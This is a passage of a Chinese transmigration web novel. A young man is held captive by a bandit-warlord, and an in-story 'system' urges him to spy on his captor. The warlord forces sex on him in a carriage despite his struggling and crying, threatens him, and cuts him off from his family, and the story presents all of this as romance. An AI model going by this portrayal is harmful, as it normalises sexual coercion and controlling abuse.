姜唯生怕他兽性大发,身体一下子变得僵硬,也不敢说话。
乔山越似乎是察觉到了他的僵硬,也没说什么,把手放开了,从食盒里把饭菜拿出来放好,又问他:“你想吃什么?”
这次声音更温柔了,配上他能登台唱戏的俊美面孔,真是丝毫没有土匪样儿。
姜唯有点胆战心惊地看了他一眼,他确实是有点饿了,小声地道:“我想喝粥。”
乔山越于是把粥碗捧出来,还要亲手喂他吃。
姜唯受宠若惊,从来没见过男主对他这么和颜悦色。毕竟之前这人不是骂他笨就骂他蠢,还抢他的鲍鱼吃。
姜唯被他搂在怀里喂几口粥,隐约觉得系统说的话好像是真的。
待乔山越又把一勺粥递到他嘴边的时候,他小声说:“有点烫。”
“烫?” 乔山越果然没生气,而是耐心地把粥吹凉了才味道他嘴边:“尝尝,还烫不烫?”
姜唯喝了粥,又说要吃菜。乔山越又去给他夹菜,从头到尾没有丝毫不耐。一顿饭喂了一个小时,等姜唯吃完桌上剩下的菜都凉了,乔山越也不挑,呼噜呼噜地把一桌剩菜剩饭都扫荡了。
姜唯看着他解决剩饭,心里没那么害怕了,脸又有点红。
乔山越很快吃完,收拾好了桌子就来抱他:”来,给你男人抱一个。”
姜唯脸红红的,有点别扭地转过头,但乔山越硬是把他抱住了。
“还在闹别扭呢?” 乔山越亲了亲他的侧脸:“来,叫声相公听听。”
他提这个姜唯的心就又提了起来:“你不是我相公!“
乔山越闻言动作一顿,脸色沉了下来:“洞房都入了,怎么、你不认?”
姜唯见他的神色心里又有点发颤,眼珠转了转,瞬间找到了借口:“这、这怎么能算?结婚要三媒六娉,还要拜父母拜天地的。”
乔山越一愣,像是没想到这一茬,皱眉道:“怎么这么麻烦?”
姜唯:……你以为谁都像你一样土匪抢亲啊?
看乔山越的表情,他怀疑以前这人都以为把老婆抢回来就行了。
“我们什么都没有,” 姜唯道:“所以你不是我相公。”
乔山越脸色变幻,恼怒道:“我不是你相公、那我也是你男人。”
姜唯坐在床上,脸色白生生的,抿了抿唇道:“那你是野男人。”
乔山越被气了个仰倒,拂袖而去,把门摔得震天响。
系统在他走后出来道:「宿主,没想到你还挺能气人的嘛。」
姜唯骄傲地仰起下巴:“哼,也不看看我是谁。剧情完成度涨了吗?”
系统道:「嗯……涨了0.02%」
姜唯:……看来还是得找个办法走剧情。
好在乔山越似是太生气了,没来得及锁门就出去了。姜唯顺利地走出了院子,直奔上次他试图偷文件的那个房间。上回没能偷到机密材料,他到现在还耿耿于怀。然而等到了地方姜唯却傻了眼,只见房间里不知什么时候被搬空了,半片纸都没剩下。
”怎么回事?“ 姜唯惊讶道。
系统说:「应该是上次之后,男主把资料转移了」
姜唯闻言,脸色变得有点难看。上回乔山越看起来根本没把这件事放在心上,没想到他竟然这么谨慎:”系统,你知道他们把资料转移到哪了吗?“
系统有些不好意思地道:「我只能通过原书的描述推测,如果换了地方就找不到了……」
姜唯有些沮丧,又不甘心就这么回去,想在附近找找看还有没有类似的屋子。谁知走出去没几步路他就差点撞上一个人:
“你怎么在这儿?”
王楚云皱着眉看着他,姜唯见他面色不善,下意识地退后了几步。
王楚云见这个不该出现在前头的人竟大摇大摆地在外面走,神情不太好看:“你怎么在这儿?”
还没等姜唯回答,王楚云的目光扫到他露在外头的脖颈,面色猛地一变,看姜唯的神情复杂起来。
姜唯有点尴尬,想找机会溜走,这时背后却响起一阵脚步声。
“你们在这儿干什么呢?”
乔山越不知从哪里冒出来,走过来一把搂住了姜唯的腰:”又到处乱跑什么?“
王楚云看到他极具占有欲的姿势,面色又是一变。
姜唯比起明显不喜欢他的王楚云他还是更相信乔山越,往男人身边缩了缩,小声道:“我没乱跑,就出来走走……”
乔山越果然没说什么,抬手理了理他鬓角的头发。
王楚云见他一副回护的姿态,不由地提醒道:“老大,你上次还说不让他出来。”
乔山越理完头发又去扣上姜唯衣领的扣子,闻言道:“总不能让人家一直憋在屋里吧,他是我的人,没什么见不得人的。”
王楚云见他说得一脸坦荡,觉得先前相信他嘴里’没什么‘的自己就是傻逼,能震得住一窝土匪的人能是什么好人?不过乔山越并不贪图钱色,王楚云当初就看中他这一点才以正经军校生的身份投效了他,没想到他一搞就搞上了仇家的儿子。
王楚云的目光在他们两人身上转了一圈,笑得有点勉强:“这……不太合适吧。”
乔山越抬头看了他一眼,王楚云就笑不出来了。
姜唯被搂着腰有点不自在,稍微挣了挣,乔山越的手臂一下子收紧,还拍了拍他的屁股:“听到没有?让你不要乱跑,人家觉得不合适。”
王楚云突然又成了’人家‘,却大气都不敢出一声。
乔山越没再跟他废话,拉了姜唯就走。
姜唯被他挟着,眼看着这不是回小院的路,有点心惊胆战地道:“我有点累,想回去了。”
乔山越却说:“不着急,先跟我去个地方。”
姜唯不知道他要带自己去哪,就又被挟上了小汽车。车开出去很远,他们在一个荒郊野岭下了车,又换成了马,乔山越牵着缰绳,让姜唯坐在马背上。
姜唯有点不安地骑在马上:”你到底要带我去哪?“
乔山越抬头看了他一眼:“带你去成亲啊。”
姜唯低头躲过一根树枝,看着面前蜿蜒的山路面露疑惑——这种深山老林,成什么亲?
要不是乔山越让他坐马上,自
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己走土路,姜唯都会怀疑他是不是要把他骗到林子里杀掉。
这座山非常恍惚,黄泥土路崎岖不平,时不时还有个雨水冲刷出的坑。乔山越确如履平地走得非常轻松,甚至还能预判哪里有坑,让驮着姜唯的马绕着走。
上山路走了一个多小时,一个破败的道观出现在两人面前。
姜唯惊讶道:“这种地方竟然有道观?”
乔山越却似是并不惊讶,将他从马背上抱了下来。这座山里植被茂密,道观的外墙上也爬满了杂草,乔山越拉着他跨过地上的藤蔓,走进了道观里面。
姜唯好奇地四处打量,屋子中间供奉着一尊神像,前面的地上丢着两个布料有些陈旧的蒲团,地上的青石板已经有些裂痕,却擦拭地十分干净,屋子里也没有什么乱七八糟的东西,能看出是按时打扫维护过的。
乔山越对他说:“你站一站。”
姜唯扭过头,看见他走到旁边从柜子里拿出几根蜡烛,动作熟练地点燃,分别放在屋子的几个角落,昏黄的烛光登时弥漫开来。
乔山越点燃最后一根蜡烛,在暖色的烛光里转过身:“你冷不冷?”
姜唯摇了摇:“不冷。” 这道观外面看着阴森森的,里面倒还挺暖和的。
乔山的面容柔和了下来,走过来拉起他的手,姜唯被他拉着走到了角落,抬头看见了尊小小的祭台,上面放着两个牌位。
姜唯仔细看了看,觉得有点奇怪,因为这牌位上写的并不是名字。左边写的是元清天尊,右边写的是小桃红,两个看着都是不像是真名。
“今天我带他来给你们瞧瞧。” 乔山越牵着姜唯对这牌位道:“给你们上柱香,也算是了了你们的心愿。”
说罢他拿出几根香点上,递给姜唯了一根。
姜唯没听懂他在说什么,拿着香有点犹豫,但当着别人的牌位不好说什么,终究还是接下了,乖乖跟着乔山越跪在蒲团上低下头,把香插进了香炉里。
上完香乔山越拍了拍手,把姜唯从地上拽起来:“走,回去了。”
姜唯愣住:“这就回去了?”
“不然呢?” 乔山越回头看他:“你还想在这破道观里待着?”
姜唯想着这还是在人家的灵位前,拽了拽他的手:“你说什么呢,这道观不破啊,我觉得挺好的。”
乔山越闻言挑了挑眉:“你真觉得这里好?”
姜唯觉得这人是真不会看眼色,肯定地道:“是挺好的,蛮温馨的,打扫得也很干净。“
乔山越看着他,神情柔和了下来。
”这是我家。” 他忽然道。
姜唯闻言惊讶地瞪大了眼:“什么?”
他猛地扭头看向旁边的灵位:“那、那我们刚才拜的人是谁?”
“他们是我的家人。” 乔山越笑了笑,揉了把姜唯的头发:“傻子,不是你说成亲要拜父母拜天地吗?我无父无母,拜了他们也算数了。”
姜唯非常惊讶,书里没有详细描写过男主的身世,只是说他无父无母,所以他根本没往那方面想。下山的路上姜唯才从乔山越口中得知,牌位上的人其实并不是他血缘上的亲人。
这座道观是许多年前一个老道士建的,老道士自号为元清天尊,但其实整座就他一个道士,所以叫自己什么都行。他年轻的时候机缘巧合救下了个被军阀欺辱的小戏子,戏子名叫小桃红,躲上山后怕被寻仇就不敢下去了,久而久之和道士结为了夫妻。
又过了许多年,已经年近古稀的道士和戏子在山上捡到了一个弃婴,干脆就当做孙子抚养,等到婴儿长成少年的时候两人先后去世,成了道观中的两个牌位。
姜唯听完这个故事,神情有些恍然,原来男主的身世是这样的。怪不得他会唱戏,那天还给他喝符水。
姜唯心情有些奇怪,忍不住身旁看了正咬着根草枝牵着马的男人。
一直以来他都把乔山越当成是虚拟的人物,现在听了他的身世心里不禁有些怪怪的,仿佛小说里的角色忽然变成了个有血有肉的人,一下子变得有分量了。
乔山越注意到他的目光,转过头:“怎么,心疼你相公了?”
姜唯的脸有些红了:“谁心疼你了。”
乔山越笑了笑,没说话。姜唯看他的表情,脸却红得更加厉害,把头扭到了另一边。
18.霸道土匪俏军阀
“听话,这是好东西。“ 乔山越却不理他,按着姜唯的腰把药敷在了伤处。
也不知道他是从哪弄来的药,过了一会儿姜唯竟真的感觉身后凉飕飕的,痛感似乎减轻了些,他的身体也随之放松了下来,软软地趴在男人的膝头。
乔山越见他露出的小半边侧脸苍白如纸,脖子上红痕斑斑,心疼地抚开他耳边的鬓发,有些后悔自己不改下手那么重。青年娇生惯养,经不起腾,乔山越抚摸他肩头滑嫩的肌肤,心头一片柔软。
“是相公错了。” 乔山越俯身在青年耳边温声道:”你这两天好好养养,我不碰你。“
姜唯不想理他,眼珠都没转一下。
乔山越知道他在闹别扭,大手拍了拍他的背:“别生你相公的气了,以后我都轻轻的,嗯?“
姜唯闻言,瞥了他一眼,有点委屈地道:”你昨天还说要打断我的腿。“
他可还记得,昨天男人一边抱着他一边威胁‘再赶跑就打断你的腿’。
乔山越摸了摸他的头:“那是气话。” 他说着,把姜唯的上半身搂进怀里,低声道:“你乖一点,好好跟着我,我就让你——”
姜唯抽了抽鼻子,知道男人要说什么:“你就让我活久点?”
乔山越亲了亲他的额角:“让你吃香喝辣。”
姜唯有点惊讶,抬头看向他。乔山越笑了笑,英俊的眉目柔和下来:“真笨,你都是我的人了,难不成我还能对你怎么样?“
姜唯闻言,有点惊讶,又有点茫然。乔山越见他这个样子心里很喜欢,又亲了亲他:“小蠢货。”
就这样又过了几天,姜唯发觉男主似是真不打算杀他了,似是真的打算跟他‘好好过’。
他每天的早餐晚餐更丰盛了,乔山越每天都和他一起吃饭,有事情的时候不陪他吃,饭菜也不会少。乔山越也不再关着他,姜唯可以在戏园里自由活动。他自己逛了逛,发现这个戏园已经完全被乔山越改造成了军营,厢房里住的都是穿军装的人,戏台上摆满了武器弹药,姜唯走在路上是不是会碰上一些大胡子士兵,乔山越显然是提前打过招呼,大胡子看到他虽然表情都有些奇怪,但态度还算恭敬。
有个人甚至喊了他一句‘大嫂’,把姜唯吓得够呛,比叫他夫人更惊悚。
这天乔山越回来的时候姜唯就抱怨了一回:“能不能让你的属下不要乱叫?”
乔山越挑挑眉:“他们叫你什么了?”
姜唯跟他说了,乔山越笑了笑道:“没叫错啊。” 他坐下来搂住姜唯,在他脸上‘吧唧’亲了一口:“不过是不该叫大嫂,把你叫老了。”
姜唯现在的这具身体是很年轻,作妖半生回来才刚满19,和他自己的身体差不多大。自从姜唯穿过来之后没再沉迷酒色,又不大出门,一张瓜子脸被养得白白嫩嫩,乔山越忍不住抱着他亲了好几下。
姜唯已经有点麻木了,任由男人搂着自己,突然好奇道:“你多少岁?”
他还不知道男主多大呢。
乔山越道:“不知道。”
姜唯惊讶道:“怎么会不知道呢?”
乔山越似是没觉得有什么不对:“没算,当然就不知道了。”
他在山上被捡到的时候是个襁褓中的婴儿,道士夫妻俩也不知道他多大,岁数都是胡乱算的。一家人在深山老林里日子过得糊里糊涂,用道观里的日历计算日子,有时候会忘了撕那张纸,天长地久日历也就跟真实的年岁对不上了。
“不过肯定比你这个小东西大。” 乔山越说着笑起来,刮了刮他的下巴:“叫声哥哥来听听?”
姜唯却有些怔愣,他每年的生日都会隆重地庆祝,要先和朋友过一遍,再和家人过,所以非常惊讶这世上竟然有人不知道自己多少岁。他看着乔山越俊美潇洒的脸,心里有点不是滋味。
乔山越倒似是全没放在心上,转眼就把这事忘了,招呼他吃饭:“把手洗了过来,今天的包子包得好,牛肉馅的。“
姜唯坐过去吃饭,心里还在想乔山越年龄的事,嘴上却没听,一口一口咬着包子吃。
乔山越见他吃得香,勾了勾唇:“看看跟着你相公多好,整天吃香喝辣。”
姜唯发着愣,闻言不假思索地道:“这就算吃香喝辣了?”
他心里是在和现代比,在什么美食都唾手可得的时代,一个牛肉包子当然不算什么。
乔山越却是听到了心里去,以为他是在和以前大帅府里的伙食比,顿了顿道:“你这个小没良心的,现在这世道外面的人连米都没的吃,你还嫌这嫌那。” 他虽是这么说,却又勾住了姜唯的肩膀问:“你想吃什么?跟相公说说,明天给你弄。”
姜唯抬起头,刚回过神,听到他的问题就道:“我想吃鲍鱼。”
他还惦记着被男主抢走的那块蜜汁鲍鱼呢。
乔山越闻言,有些哭笑不得:“这个光景,到哪去给你弄鲍鱼?”
姜唯也就是随口一提,闻言也没多想:“哦,那就算了。”
乔山越的脸色却不是很好看。姜唯没注意到,吃完饭就上床去睡觉了,这几天他把戏园逛遍了也没找到放机密文件的地方,不知道是被转移到了什么秘密地点还是干脆销毁了。他什么都找不到,也渐渐懒得去费那个力气。
第二天吃晚饭,桌上多了条清蒸鱼。
姜唯有点惊讶,他到这个世界这么久还没吃过鱼呢。
乔山越夹起鱼肚子上的肉放进他碗里:“趁热吃,这鱼都大刺,不卡喉咙。”
姜唯‘哦’了一声,低头就吃,鱼肉很新鲜,吃到嘴里滋味鲜甜。
乔山越见他吃得高兴,眼中浮现出暖色。姜唯吃的津津有味,忍不住问:“这鱼哪来的?”
乔山越挑挑眉:“哪来的?你相公下河去摸的。”
姜唯闻言,惊讶地抬起头。现在已近年关,北方的天气一天比一天冷,姜唯都不怎么爱出房门,不难想象那河里的水一定冰冷刺骨。
乔山越夹了块鱼背上的肉,细细把鱼刺挑出来再夹给他:“现在外头乱,酒楼老板都跑了,给你弄不到鲍鱼,将就吃吧。”
姜唯愣着没动碗里的鱼,乔山越见状,神情有些无奈:“行了,算相公错了好不好?不该抢你的鲍鱼吃。”
他是真有些后悔了,那个时候只觉得青年逗着好玩儿。要是那个时候他知道自己有一天会把青年放在心上,就不会抢他的东西吃了,搞得现在想补救都不行。
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姜唯回过神来,对上男人温柔的目光,脸突然红了。
他赶紧低下头吃鱼以掩饰自己的表情,小声道:“你不要说的我好像很馋一样。”
乔山越神情柔和:“你还不馋?” 见姜唯狼吞虎咽的样子,他摸了摸青年后脑的头发:“慢点吃,没人跟你抢。”
却是没人和他抢,两人虽然一桌吃饭,但都是乔山越吃他的剩饭。一条鱼姜唯吃不完,头和尾巴上的肉进了乔山越的肚子里。
吃完饭,乔山越收拾好了桌子,忽然道:“过两天得走了。”
姜唯坐在床边,闻言一愣:“走?去哪?”
乔山越道:“峯城。”
姜唯听到这个城市才想起来,剧情里是有这一段。男主的地盘变大,这个城市不再适合作为根据地。乔山越要走,那他手下的人马兵器肯定也要跟着走——
姜唯有点不安,下意识地看向了男人:“你要走,那我怎么办?”
他没意识到自己语气里透露出的依赖,乔山越却听出来了,他看着青年清澈的眼睛,心里就起了些坏心思,想逗一逗青年。他低下头,故意问:
“你到哪去,不是该问你爹和两个兄弟吗?”
姜唯有点茫然,按理来说他是该跟张家人待在一起。但现在剧情变成这样,他也不知道该怎么办。
“但他们不在这里啊。” 姜唯想了想,牵住了男人的衣角,小声道:“现在你在这儿,我就问你了嘛。”
乔山越闻言先是翘了翘嘴角,后又忽然变了脸色,虎着脸道:“你还想去哪?当然是你男人在哪你就在哪!”
姜唯被他搂进怀里,还没来得及说话,就听到乔山越箍着他的肩膀道:“以后记住,有没有别人什么事情都得先过问你相公我,不许私下跟张家人联系。”
姜唯听了觉得不太好,在这本书里张家的确是反派人物,但换种情况讲谈恋爱就不让和家里联系,那也太霸道了,他有些不满地道:“你这是大男子主义!”
乔山越不知道他口中的主义是什么,却能大概琢磨出意思,脸色一沉:”我是你男人,你不该听我的?”
他说着忽然起了疑心,绷着脸道:“你不会私底下有什么渠道和张家人联系吧?”
姜唯打了个寒颤,乔山越真的发火时他还是怕的:“我……我哪有什么渠道……”
乔山越一想也是,这人天天在他眼皮子底下,最近一段时间都很乖。
他想着,面容又柔和下来,亲了亲怀中青年的脸:“最近世道不好,你乖点跟着我,别想七想八的。“
姜唯被他抱着,心想世道再不好还不是方便了男主?反正他是主角,每次都能逢凶化吉。他转念一想,又觉得外面这么乱,是应该跟在男主身边,至少可以保平安。
他这么想着,心里有了妥协的意思,系统的声音却忽然响了起来:
「宿主,这是好机会啊!」
姜唯一愣:“什么机会?”
系统道:「军队转移的时候比较混乱,是浑水摸鱼的好时机。原书里赵逍就是在路上偷听了男主和心腹的对话,把消息卖给了赵家。」
原来是这样!姜唯心中一喜,终于有走剧情的机会了。
19.霸道土匪俏军阀
男主说要走还真是立刻就要走,第二天戏园里就热闹了起来。姜唯透过窗户看见院子里人来人往,穿着军装的士兵把米面粮油都往外搬,乔山越不知从哪搞来了几辆大卡车,上面装的都是军火。
屋子里,乔山越很快收拾好东西,等到中午两人已经坐上了马车。
姜唯有点不适应,问:“为什不坐汽车?”
乔山越坐在他旁边,倒是也没瞒着他:“汽车精贵,要烧油,汽油都紧着卡车了。”
姜唯了然,心道这个时代还是太落后,在他的时代汽油太多,烧得都污染环境了。他趴在马车的小窗边看着蓝天白云,呼吸着新鲜空气,觉得还挺惬意的。但这舒适并没有持续多久,马车到底没有小轿车舒服,更别说现代的飞机高铁,时间长了姜唯就被颠得有点难受,面有菜色地伏在男人怀里。
乔山越搂着他,见青年脸色苍白,心疼地摸了摸他汗湿的额角:“这么难受?”
姜唯闭着眼小声哼唧:“我有点晕车。”
乔山越摸着他的头发,心道真是个少爷命,骨头轻,受不得颠簸。
要换手下的兵他早不耐烦了,马车都坐不得就下去跑步,跑吐了病就治好了。
但换作是青年,他却满心都是怜惜,摸了摸怀中人的背脊,小声哄着:“再忍忍,等到了三岔岭就换小汽车。”
姜唯闻言,抬眼问:“你不是说汽油不够吗?”
乔山越回答:“我派了人先去,能跟当地的富户借点儿。”
说是借,其实就是打劫,姜唯知道男主就算已经成了一方豪强,也改不掉土匪的做派。
他闭着眼睛休息了一会儿,突然又想到了什么,抬起头:“那些军火都在卡车上,那不是比我们快很多?”
乔山越似是惊讶他能想得到这这个,低头看了他一眼,道:“学聪明了。” 他随即道:“不用担心,我早派了先锋队到峯城。”
姜唯了然,按原书里的描述,男主是用兵的天才,是没什么好担心的。
但同时他想到了什么,偷偷抬起眼,乔山越撑着额角闭着眼,似是在休息,姿态很放松。男主现在似乎很信任他,这种军机计划也跟他说。
姜唯想起昨天系统说的话,心跳逐渐加快——说不定他真有机会!
“想什么呢?”
声音在他头顶响起,姜唯浑身一颤,抬眼猛地对上了乔山越的视线。
男人眼中没有丝毫睡意,深邃的五官在没有大表情的时候几乎有种冷峻的错觉:
“心里有什么坏主意?” 姜唯僵硬地感到男人略微粗糙的指腹蹭过他的眼下:“睫毛一个劲地抖。”
姜唯呼吸一滞,勉强抑制住没有露出慌乱的神情:“我没想什么啊。”
在男人能继续追问之前,姜唯率先敛下了眼,动了动身子:“我还是不舒服,想躺着……“
乔山越闻言,没再次说话,而是让开了位置让他躺下。
姜唯闭着眼睛,装作一副很不舒服的样子躺了下去,头枕着软垫,脚搭在男人身上。
乔山越也不嫌弃,手指轻轻摩擦着他脚踝上的皮肤,目光朝他身上看过去。姜唯为了躺地更舒服,在身子底下也垫了个枕头,后腰弯出个自然的弧度,两条细长的退曲着。
姜唯感觉到了男人打量自己的视线,心里有点发虚,怕他还在琢磨刚才的事。
为了让自己的‘不舒服’更真实,姜唯装模作样地扭了扭,还哼唧了两声。
乔山越问:“还是不舒服?”
姜唯有点紧张,咳嗽了两声道:“嗯,不舒服……”
乔山越捏了捏他的小腿:“我知道一个方法能让你舒服。”
姜唯闻言,睁开眼看他:“什么方法?”
乔山越朝他笑了笑。
姜唯先是疑惑,很快脸色大变,慌乱地想要往后退,头却已经撞到了车厢:“你、你想干什么?这是在车里——啊!”
一声尖叫从马车里传出来,周围的人都听见了。
王楚云就在落后两步的马上,脸色登时一变。周围还有几个大胡子,也都是一怔,都停下了脚步。
周遭一时异常的安静,马车里的动静就更加明显。
先是几声闷响,好像有人在挣扎,但很快就被制住了。后来渐渐响起了刻意压低过的哭声,还有他们乔老大沙哑而饱含情欲的声音:
“好了,你乖一点……很快就不难受了。”
车厢内的哭声更响了些,过了会儿马车里的动静更大。
几个大胡子都露出心照不宣的笑容,但由于乔山越严令吩咐,也没人敢说什么,只是挤眉弄眼地发出些窸窸窣窣的声音。
王楚云脸色一阵青一阵白,握着缰绳的手紧了紧,黑着脸下令:“所有人,跟着我向前十丈!”
王楚云可以说是这群人里头的二号人物,一直充当军师类的角色。他一声令下,所有人都依言向前走,马车的动静也终于远了,传不到众人耳朵里。
马车内部,颠簸被真正利用起来,姜唯恍惚中觉得自己正骑在急驰的马背上,不可抑制地上下摆动。
到了最后他直接两眼一翻晕了过去,倒是的确不晕车了。
等他再次醒过来,入眼的是头顶的帐子。
周围能隐约听到人声,姜唯转过头,发觉自己正躺在一张简易的行军床上。外面的天色很暗,他们应该是已经到了晚上落脚的地方。
有人撩开帐子走进来,乔山越的脸出现在他的视野中:
“醒啦?” 他凑上脸,神情有点腆着脸的意思:“有点儿了吗,有没有哪儿不舒服?”
姜唯身上其实还好,并没有一开始那样疼得厉害,但他看到男人心里就来了气,瞪着微红的眼睛抿紧了唇:“你还来问我?我本来就不舒服……”
这小模样可给乔山越心疼坏了,赶紧把人搂在怀里一阵低声哄着。
姜唯作劲上身,软软地靠在他怀里,哼哼唧唧地也不说话。乔山越见状更加低声下气,声音温柔得能滴出水来:
“想不想吃点东西?” 他摸了摸青年的额角,柔声道:“外头开饭了,炖了大骨头,正好给你补补。”
姜唯此时也有点饿了,闻到账外飘来的香气,刚想答应下来,脸色却是一变:“我们要到外面去吃?”
乔山越说:”是。“野外不比戏园子里,行军途中没空区分这些。
他见姜唯神色有异,以为是青年嫌弃他手底下那些人,安抚他的动作放慢了些:“怎么了,你不想跟他们一起吃?”
姜唯却支支吾吾地说不出话,脸色也慢慢涨红了:“他……他们,是不是都听见了?”
乔山越一愣,接着表情柔和下来,原来是在介意这个。他俯下身亲了亲薄脸皮的小少爷:“应该没有,王楚云在外头,他知道管事。”
姜唯却并不满意:“什么叫应该?” 他满脸臊得涨红,往被子里躲了躲:“我不出去了,我不饿!”
乔山越失笑,摸了摸青年软软的腹部:”肚子都瘪了还说不饿?“ 他把手抽出了被子,把人裹起来拍了拍背,低声道:“你躺着吧,相公给你把饭端进来,就在帐子里吃。”
姜唯这下满意了,窝在被窝里看着乔山越出去,没多久端着一只热气腾腾的大碗回来,里头是那骨头汤炖的汤饭,还放了满满的酱牛肉和几颗水灵的蔬菜。姜唯就靠在床头,手指头都没动一下,被乔山越一勺一勺喂完了饭,还要小声抱怨:
“以后在外头我都不跟你做那个事了,会被听见的。”
乔山越呼噜呼噜地把剩饭打扫了,闻言脸色却是一沉,把碗‘砰’地一声放在桌上:“想什么呢?在外面就不让碰,你想憋死你男人?”
姜唯心里想的是憋死你算了,但不敢跟他顶嘴,就哼哼了两声没说话了。
乔山越见他这样,用力地揉了揉他的头发:“你就在这儿躺着,晚上回来老子再收拾你。“
说完他就风风火火地走了,姜唯在被窝里翻了个身,又有点后怕,心想男人不会晚上还要吧?
真是个禽兽!姜唯不禁把自己裹得更紧,在被窝里捂住了屁股。
这时候,系统的声音响起来:「宿主,他们准备开始谈接下来的作战计划了。」
姜唯猛地睁开眼,也不装死了,猛地从床上弹射了起来:“什么?在哪?”
「在一个帐子里……」系统道:「我可以给宿主导航」
姜唯赶紧跳起来穿上衣服,匆忙套上鞋子往外走。
待出了帐子,一阵冷风吹来,直往领口里钻。姜唯打了个冷颤,人也清醒了些,看着远处渐渐黯淡天际下连绵的山影,有点犹豫地道:“系统,要是被男主发现了怎么办?”
乔山越那人长了狗耳朵,上次他去偷机密资料就被发现了。
系统安慰他道:「没关系,这次我们小心点,我有秘密武器。」
系统没细说它的秘密武器是什么,见姜唯还是犹豫,又安慰道:「没事,以现在你和男主的关系,就算被发现了他也不会拿你怎么样的。」
姜唯闻言,屁股竟下意识地紧了紧。心下有点忐忑,他的性命或许是没事,但屁股就得遭罪了!
但想起自己离及格线还有一大截的剧情完成度,还是咬牙跟着系统的导航往外走。<
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p>系统这次非常小心,领着他东躲西藏地绕开了所有人,姜唯借着天色的掩护很快来到了一处帐子面前。系统让他躲在一处灌木里,姜唯照做了,看着远处离他有几十米的帐子,担忧地问:”系统,离得这么远我怎么听得见他们在说什么?”
系统得意地’嘿嘿’笑了两声,下一瞬,姜唯耳边响起了王楚云的声音:
“老大,你打算改道?”
那声音非常清晰,就像有人在他耳边说话一样。姜唯捂住了嘴,面露喜色,原来这就是系统的秘密武器!
接下来,乔山越的声音也响了起来:“嗯,北边有变数,让钱三他们先在原地待着。”
姜唯聚精会神地听着,发觉乔山越在谈正事的时候语气很冷淡,话也不多,通常就是三五个字就定了下来。不会像和他说话的时候情绪波动那么大,一会儿翻脸一会儿又和风细雨。
姜唯抿了抿唇,心里有点不舒服,觉得男人还是没把他当自己人。跟手下说话都是有商有量的,跟他就吹胡子瞪眼。
不过姜唯转念一想,他本来就不是男主的人,他可是反派,现在还要狠狠坑男主一把。
他沉浸在自己的思绪里,耳边系统忽然开了口:
「宿主,我们回去吧。」
姜唯一愣:“这就回去了?还什么都没听到呢。”
系统听了这句话,陷入了沉默。姜唯不知为何竟从它的沉默里听出了无语的味道,他满头问号:“怎么了?”
系统这时候说:「……他们已经说完了。」
姜唯一惊,这时候才注意到帐子里不知什么时候已经没了乔山越的声音,只有几个声音粗犷的人在互相开着玩笑,显然不是在聊正事。
“!” 姜唯惊呆了:“可我什么都没听到啊?”
系统彻底无语了,隔了好半天才道:「没事,我听了,宿主你还是快回去吧。」
姜唯这才放下心,害怕乔山越会先他一步回去,急忙往回跑。等回到帐子发现没人才放松了下来,又后知后觉地觉得有点丢脸,他刚刚走神了,竟然连一点重要信息都没听到。
姜唯有点脸红,又不想让系统看轻自己:“我刚刚是在想重要的事情。”
系统凉凉地道:「有什么事比任务更重要?」
姜唯一噎,没话说了。他面子上过不去,刚在琢磨怎么回嘴,系统就道:「还是快先把信息递出去吧。」
姜唯被转移了注意力,这才想到这茬:“对啊,要怎么把信息告诉赵家那边呢?”
系统说:「这个不用担心。」它话音刚落,姜唯眼前就凭空出现了一只白色的信鸽:「你把信息写下来放在它腿上的小筒里,明天张家就能接到信息。」
姜唯见状,心里的那点小怒气瞬间消散了:“系统,你还是蛮厉害的嘛。”
系统得意道:「那是当然。」它说着却又忧虑道:「但这是新手才有的福利,下个任务世界可就没有了。」
姜唯听了倒是没多担心,他想不到那么远,先把眼前的任务完成再说。
他在系统的指导下在纸上写下了乔山越等人商量的战略内容,把信纸卷起来要放进鸽子腿上的信筒里时却犹豫了一下。
他读过原书,知道张家那三父子现在恨乔山越很得牙痒痒,得到了这么机密的消息肯定会想办法坑男主。姜唯想到这里竟有一瞬的心虚,眼前闪过男人温柔的笑脸。
系统在他耳边催促:「宿主,快点啊,男主要回来了!」
姜唯闻言浑身一颤,一咬牙将信纸塞进了筒里。鸽子黑色在信纸塞进去的一瞬间就扑腾起翅膀,猛地飞出帐篷不见了。
同时,帐子外头有了动静,姜唯赶快脱了衣服爬上床闭着眼睛装睡。
过了一会儿,帐子被撩起,脚步声随着冷风灌了进来,乔山越的声音从他头顶上方传来:
“还没睡?”
姜唯缓缓睁开眼,装作刚睡醒的样子:“本来都要睡了,被你吵醒了……”
乔山越表情柔和,张嘴想说什么,却似是忽然看到了什么,表情一变:“你出去了?”
姜唯呼吸一滞,心跳漏了一拍:“没有啊。”
乔山越站在床边垂视他,缓缓眯起了眼睛。
姜唯一看他这表情就犯怵,快速眨动了几下眼睛:“我真的没出去……”
乔山越看着他,忽然俯身靠近,姜唯被吓了一跳,下意识地想往床铺里面缩,乔山越却没碰他,而是轻轻从他头发上摘下了什么东西。
姜唯看到他指间的一小片树叶,眼底闪过惊慌。
乔山越的目光透着冷意:“你没出去,那这是什么?”
20.霸道土匪俏军阀
姜唯的心脏登时开始狂跳,尽全力才维持住脸上的表情:“不知道……可能是你抱我的时候粘上的。”
乔山越凝视他,片刻后嗤笑出声:“平时脑子不好使,找借口的时候脑筋倒是转得快。”
这是摆明了不相信他,姜唯听了心下一沉,脸色立即白了,有些惊惧地看向男人。
乔山越上前一步,猝然将手伸进他的被窝捉住了他的手,五指捏住他的掌心:“手是凉的。”
姜唯浑身一颤,没来得及反应就被男人捏住了脸提起来:
“老子的话都在你这儿是当个屁放了?” 乔山越眼中翻涌着怒气,语气阴沉:“老老实实给我说,刚才你在哪儿?“
姜唯无助地握着他的手,被吓得两股战战,险些掉下泪来:“我、我错了——“
乔越山看着他通红的眼眶,眉头颤了颤,眸中闪过思索,接着忽然道:“既然你身体这么不舒服,明天我们就去三岔岭换小轿车,怎么样?“
姜唯不明白他怎么忽然说到这个,满脸茫然:“你、你说什么?”
乔山越见状,眉间一松,眸中的冷色渐渐褪去,手上也卸了力。
姜唯惊疑不定地看着他转身又出了帐子,心里又害怕又茫然。
这时系统忽然道:「宿主,你演技真好,居然骗过了男主!」
姜唯闻言疑惑道:“你什么意思?我什么时候骗他了?”
系统一听也懵了:「刚才男主不是在试探你吗?他们在帐子里商量的路线是要去蒹葭关,不是去三岔岭——」
